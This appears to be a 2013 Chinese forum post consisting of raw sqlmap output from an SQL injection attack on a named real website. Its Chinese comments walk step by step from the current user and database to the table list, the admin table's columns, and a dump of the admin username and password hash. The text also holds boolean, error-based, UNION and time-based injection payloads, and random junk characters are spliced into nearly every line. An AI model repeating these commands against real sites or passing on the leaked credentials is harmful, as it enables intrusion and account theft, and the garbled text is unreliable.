D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db" y6 u8 t0 j3 B5 b& w5 [
ms "Mysql" --current-user /* 注解：获取当前用户名称) J) [4 T$ H; H
sqlmap/0.9 - automatic SQL injection and database takeover tool) N9 K" A% K0 G' ]5 V: o
http://sqlmap.sourceforge.net starting at: 16:53:54- W/ _ {& V+ u9 F# ^9 H2 S6 O; M
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
, S2 f; f8 R. \2 ~. u. {9 J session file5 g( k. y' r l5 @1 Y! ?# S2 b
[16:53:54] [INFO] resuming injection data from session file
/ G, k3 \: ]/ b' P C+ s: X[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file$ l+ w! x( G) N9 _
[16:53:54] [INFO] testing connection to the target url8 z+ R# T6 k$ w. D7 `! T: [
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
- ?7 ~( F) d4 N$ ]* h1 Z) g$ osts:
) _% g& v) s) j" z3 u9 }---2 J. K3 o' U' [/ N5 t% x
Place: GET
5 M* Y. Z5 f" w9 @# iParameter: id ?2 f: W( d* Q) H/ r* e
Type: boolean-based blind! J" g/ `2 P+ @5 J1 i
Title: AND boolean-based blind - WHERE or HAVING clause6 Q7 L) ~4 x N+ n$ w
Payload: id=276 AND 799=799 M, \' r7 b# M
Type: error-based
" k! ? h* m8 c/ A6 b6 a5 W Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause" K j8 u. z4 E. J
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
! u7 M n. I$ Z/ K' V+ G6 ~8 q/ ^120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58+ {% T& j# A* W8 f" ~. q
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a), K! T& O- Z: a- n" g
Type: UNION query
/ W- |) U3 w. d8 ]" A& \8 h Title: MySQL UNION query (NULL) - 1 to 10 columns
4 z" [3 I9 F' E+ s6 }# Q5 Q Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR4 ~% i& ^8 b1 N( ]# j$ b
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
% ?& J7 r9 q% u: f& U7 `CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
9 a5 O* W5 t$ h; m Type: AND/OR time-based blind6 ]( e! r; M; b9 R1 O* b: v+ J( j+ F
Title: MySQL > 5.0.11 AND time-based blind
& f9 D' _* L5 s( T7 C9 G) O7 Y Payload: id=276 AND SLEEP(5)
' P) N2 @" Q. g# \& w---
1 A- g0 ~# n0 O! M3 k' H* u[16:53:55] [INFO] the back-end DBMS is MySQL' `$ ^* c0 M. }% R# [7 p
web server operating system: Windows' h! s( l9 w9 r/ j
web application technology: Apache 2.2.11, PHP 5.3.0
1 |6 c' z$ I+ T) Mback-end DBMS: MySQL 5.0
0 {8 t" d, H# X ^5 s( j[16:53:55] [INFO] fetching current user
# r6 u0 e. K% d9 L4 t/ \/ dcurrent user: 'root@localhost'
' _/ W2 W- |1 V/ |* U( b[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou3 f3 j3 U7 H( l, @
tput\www.wepost.com.hk' shutting down at: 16:53:580 D$ U" F' \7 a$ Q
7 `$ R; V, W6 f2 }+ P \D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db0 B3 R0 Q, U0 |
ms "Mysql" --current-db /*当前数据库9 v/ c8 q# W5 i5 c$ k$ m2 y2 ?
sqlmap/0.9 - automatic SQL injection and database takeover tool: I2 I7 ]: _- k: [2 q
http://sqlmap.sourceforge.net starting at: 16:54:163 Q8 |! l/ ^$ d7 x8 D
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
R) p! N5 b4 ?6 c* k2 s0 ^ session file3 j/ ^- F: b8 E& P5 f# A$ a+ R% U
[16:54:16] [INFO] resuming injection data from session file4 G/ c l: [% E1 I5 B F0 B) n/ e
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file6 W/ d5 a5 f1 p3 z1 }- Y
[16:54:16] [INFO] testing connection to the target url* ^/ O" w p8 E/ n9 W. G, c
sqlmap identified the following injection points with a total of 0 HTTP(s) reque/ g, U3 q) X5 W$ k
sts:( Z! B; C! y8 |* q
---
5 ^/ R% b0 z& @2 EPlace: GET0 c; k a* F. [. M( c
Parameter: id
+ p1 R" ]# w- e) P( W( H7 s/ q) r1 e Type: boolean-based blind
2 }# ]4 R* w( U Title: AND boolean-based blind - WHERE or HAVING clause4 u$ A7 r2 ^! T0 u7 L* I- t5 E
Payload: id=276 AND 799=799
$ j# x! r, z% m7 \0 G! i Type: error-based
$ h' n0 f3 p. j. t# C8 F Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
1 ?( M; |+ V+ `6 g Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,- A& U+ a( s. i! z3 N( M" }
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
* s+ g# S6 @) A4 @),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)# R }5 ]: W; D: `" i! P* b6 ^
Type: UNION query
$ _7 K# [" s& W& B/ y0 |. Q Title: MySQL UNION query (NULL) - 1 to 10 columns1 d5 g* g$ n' ]$ q
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
3 C" h- b! |! ^) \' B(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),# H! V% p5 N/ j
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
6 ?4 G4 Q5 W: o- K* d: G6 k; s, n Type: AND/OR time-based blind+ z) K* v6 f# \/ F
Title: MySQL > 5.0.11 AND time-based blind Z/ k$ _6 t0 Y; {0 B9 J8 R
Payload: id=276 AND SLEEP(5)5 b% F5 D5 N5 w7 S, T0 |
---
6 S* N- @7 o9 ?/ K[16:54:17] [INFO] the back-end DBMS is MySQL M$ N" L( |3 P4 I U; _4 r
web server operating system: Windows
/ I6 {' G% {4 R2 ?, a4 O5 Aweb application technology: Apache 2.2.11, PHP 5.3.0
, L; r( Y, v7 b- X# q& Z9 [* k0 P1 b; gback-end DBMS: MySQL 5.0 H* X6 @9 e) h/ d% L" @
[16:54:17] [INFO] fetching current database& P* L3 T2 W1 k9 {& N9 m
current database: 'wepost'
( [4 g& c" ]+ k* n% }[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou( P, r3 C0 ]0 ^0 j, i8 S4 q( G2 u% n
tput\www.wepost.com.hk' shutting down at: 16:54:181 Z8 A) D2 i/ U0 ^: ]2 `: U L
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
% Q( R: _6 u5 }3 {4 Zms "Mysql" --tables -D "wepost" /*获取当前数据库的表名: h1 f* W' h. c! {& y
sqlmap/0.9 - automatic SQL injection and database takeover tool9 m6 ^# u, O! {
http://sqlmap.sourceforge.net starting at: 16:55:25
8 @4 N; n+ N: A" D6 Y[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
; N5 N3 i; q" c% B e% ^ session file# p. u5 Q4 E, E
[16:55:25] [INFO] resuming injection data from session file
; @' h# \- D8 ?+ H5 W5 a( O7 ~, u0 p[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file1 s. {$ \& ~5 f7 @# v# g* r$ x; Y
[16:55:25] [INFO] testing connection to the target url8 N$ i, G& b, S/ j4 T6 \
sqlmap identified the following injection points with a total of 0 HTTP(s) reque) a" B# L% F5 a8 h
sts:9 [# q0 _! z; o8 _0 U! d8 i, @3 }
---
# ~" M( h G* h! r# YPlace: GET( D$ U2 ? T4 E6 X4 s/ {* k' h
Parameter: id
5 y. x1 l3 @) n. y9 t- m Type: boolean-based blind P H+ G& n6 `, d. y/ ?; [" h
Title: AND boolean-based blind - WHERE or HAVING clause
& x: I5 j$ O$ v! J7 R) K' w Payload: id=276 AND 799=799& N" |" R* G+ a' n
Type: error-based
4 h! i$ f8 H( k% k Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause& T) W! X5 _# W$ f; @: t
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,7 e4 b# Z* f4 r4 b9 u, z
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
; Z& L0 p& i7 A5 J),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)7 [% f2 J" X6 r; N
Type: UNION query
. y4 C% m9 l, V: ^& C Title: MySQL UNION query (NULL) - 1 to 10 columns
) O5 o5 M; e$ y% B, r Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR6 N' X2 M- b! b9 i# v X2 F
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
- L, S- O) u4 U3 V; d! X, O( A& oCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#8 n2 F9 a- b& s- ~; E- ^- e
Type: AND/OR time-based blind. C2 l2 p; z) c
Title: MySQL > 5.0.11 AND time-based blind6 S7 _) _3 ~5 n8 _; q5 P
Payload: id=276 AND SLEEP(5)6 F. p( o! _' a
---) y; ^ U5 M9 E- T) c* x; q" @
[16:55:26] [INFO] the back-end DBMS is MySQL2 j% e6 p( q) Y/ u( J
web server operating system: Windows
' `) g! `& s& @8 W8 r! ^web application technology: Apache 2.2.11, PHP 5.3.07 Y0 X; I. |$ [3 V! M% B6 i+ Q
back-end DBMS: MySQL 5.03 p1 `( F1 \- F3 e( g; |! s
[16:55:26] [INFO] fetching tables for database 'wepost') w5 S/ b. ?3 S
[16:55:27] [INFO] the SQL query used returns 6 entries6 @: c: }/ u% @1 Y) J0 T, ^
Database: wepost: g% j2 E7 Z+ X6 U
[6 tables]
8 _% e% Q% s' a" W. j! q+-------------+" L$ Q% S7 U* \8 ` ]6 M5 k
| admin |
' e, ~9 v4 g6 C h6 k) u" D| article |
) p1 P- T7 t0 d: g| contributor |1 `! W& \- g& ^+ c% C
| idea |
* x. d% @3 T. P0 K* g; S, Z| image |
. H1 w( s& O9 d% p# _1 K| issue |4 v. m: k0 q. y7 V* P: G- T/ C
+-------------+7 H# C' _7 j ?$ x9 Y
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou6 Y8 H$ G. L) d' `, s. }( @- R
tput\www.wepost.com.hk' shutting down at: 16:55:33
% |5 R: {8 x0 U2 X% W/ T9 W0 _* o- J5 y
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db6 s8 \! b/ ?( x: R; v! @
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名) o q% B% B/ L/ c
sqlmap/0.9 - automatic SQL injection and database takeover tool R, J9 e+ e# U V- A
http://sqlmap.sourceforge.net starting at: 16:56:06: [% J; a" K: E i$ y+ {
sqlmap identified the following injection points with a total of 0 HTTP(s) reque7 Y5 Z/ v% q" `7 S/ K8 y$ _( e
sts:
- G3 U% j' G2 m* ]! l---
+ T4 j3 J& M. k+ u- XPlace: GET
: z) X/ w" E% Q" O$ P+ \Parameter: id
: Q+ |7 U( R9 s& }# y' K Type: boolean-based blind% W9 o$ H5 q, p! H) F0 l* C
Title: AND boolean-based blind - WHERE or HAVING clause
( o. u Q, J7 X- d4 `. X Payload: id=276 AND 799=7999 E) I4 P9 r6 R) ~9 `
Type: error-based5 x1 b4 S# I) m. Y
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause$ F; N i% t) z! h5 A* u
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
0 W% B0 F# S7 ` \! w120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
9 J: B- I: f9 v6 \2 g1 d),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" y9 W! t( v% f0 c s- i1 Y
Type: UNION query
. N3 \, a4 Z! g+ d Title: MySQL UNION query (NULL) - 1 to 10 columns) ?* m+ I7 I1 X
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
/ h8 G/ K6 x. O9 V8 ](58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
: B- n7 ~: l- {4 b6 A6 x! @ |CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
3 @8 K* c7 k) v+ W. S9 V3 v Type: AND/OR time-based blind$ @: |4 _* S+ R
Title: MySQL > 5.0.11 AND time-based blind
8 L; I5 p7 ^( M4 _% _4 i Payload: id=276 AND SLEEP(5)
4 s f/ m4 p8 Z1 M* X---+ V" f+ A0 x% g. L
web server operating system: Windows
" i: h1 w1 F. @# x1 g' k$ Yweb application technology: Apache 2.2.11, PHP 5.3.0
9 |% L& q9 |% f, Q& Kback-end DBMS: MySQL 5.04 T. G1 _1 {3 c0 Z/ M/ y! v
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se M. Y/ V4 h: U: y! S
ssion': wepost, wepost+ i# o2 ?7 J/ l; Y* _6 s
Database: wepost
' n5 b7 b" m5 f8 ]Table: admin
3 u% S9 P& a$ ~, m& E: d+ {[4 columns]4 j0 z0 E2 w6 `- Y% P M+ n8 P+ T
+----------+-------------+/ l8 i6 L% u7 p5 |
| Column | Type |5 c6 J5 H% ^5 B, |7 b# g
+----------+-------------+
* K$ b4 \4 W* c8 e: I| id | int(11) |
7 U, ? E9 [. q+ i2 Q: M, s- k| password | varchar(32) |# x, y1 {# e8 C7 e" z1 V
| type | varchar(10) |+ ^8 f3 {7 @" {: w
| userid | varchar(20) |9 J/ F2 D j) ^2 C+ F+ z& m* ?
+----------+-------------+
: ~1 _; ~( B8 J" J shutting down at: 16:56:19
& x. v. P2 u" O& v) w: P2 i* i ^' B3 }& ]; A$ L9 W
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db, }4 T5 `& Q9 e- r k) K; O) Z4 n
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
0 F$ n8 A$ |7 t( j# _ sqlmap/0.9 - automatic SQL injection and database takeover tool
1 {- F: ~5 Q" U/ X3 K http://sqlmap.sourceforge.net starting at: 16:57:14$ ~% L4 [3 m; g
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
' h: } {8 B' `8 \/ c7 E2 U+ V( ists:
I& ]! e$ K' r6 t, ^ M---
, P( i) i3 k/ xPlace: GET
U8 {' i/ F# LParameter: id9 _ |# G: _+ z1 l" N& a# f/ D
Type: boolean-based blind
1 c: g h* X+ ?( f Title: AND boolean-based blind - WHERE or HAVING clause
; C W0 ^8 i2 W% p Payload: id=276 AND 799=799, V! l" L; c# |# p8 J0 s
Type: error-based
; q. Q% `4 t" k; o: _ Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause# R4 r1 \2 L# I0 l1 T! u- {# n2 _& f
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,) m8 I0 B; z0 H; b* _
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58( `- A# `7 U2 Q3 S
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)6 k% H& A5 C- Q5 q
Type: UNION query9 R3 G3 P& {. j1 i$ i
Title: MySQL UNION query (NULL) - 1 to 10 columns
+ b4 s* p6 b( x$ x$ t( y: Z2 p Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR, }8 _2 A; }" J9 \
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),4 B% H8 C' ~/ h8 V
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#/ j# O5 {8 K6 _" P x1 V X
Type: AND/OR time-based blind6 ^; _6 ^- s. R+ p- c% g4 r
Title: MySQL > 5.0.11 AND time-based blind
6 _; c( H$ S( ?: S% U" L; |$ X Payload: id=276 AND SLEEP(5)- k* A2 _! L# {+ `* y
---
5 s' u6 B2 m5 w8 _. ~5 pweb server operating system: Windows6 r7 l6 H4 s ?; {+ E8 M
web application technology: Apache 2.2.11, PHP 5.3.0
3 F2 L$ O" p4 z0 r+ L! ` Uback-end DBMS: MySQL 5.04 c# v. U( `2 ?
recognized possible password hash values. do you want to use dictionary attack o9 Q; `4 n. w& |" B9 d& `
n retrieved table items? [Y/n/q] y
* a, B9 H2 x z: Swhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]$ |/ L2 Y( [" W& N( Z
do you want to use common password suffixes? (slow!) [y/N] y
+ F& B0 u, }: Q! _* vDatabase: wepost
1 l; ]* V' `4 iTable: admin
% C+ g! N5 U; [2 M& a; b ^3 }[1 entry]
; \7 J2 {2 Q5 R: n9 i# h* G2 X+----------------------------------+------------+
) I( _1 U2 Z/ U/ w) n| password | userid |
6 \ G& I( n. k: s% w+----------------------------------+------------+$ X8 ?, n2 H- B" P5 j0 @7 g
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
& v* O: G( Y* u- ?( {+----------------------------------+------------+
. g7 w+ E" D5 i shutting down at: 16:58:14
2 ?: t$ Y& f" ~! s2 T5 f$ q- E, U! |4 ~. a& ~" i1 h2 k Z
D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对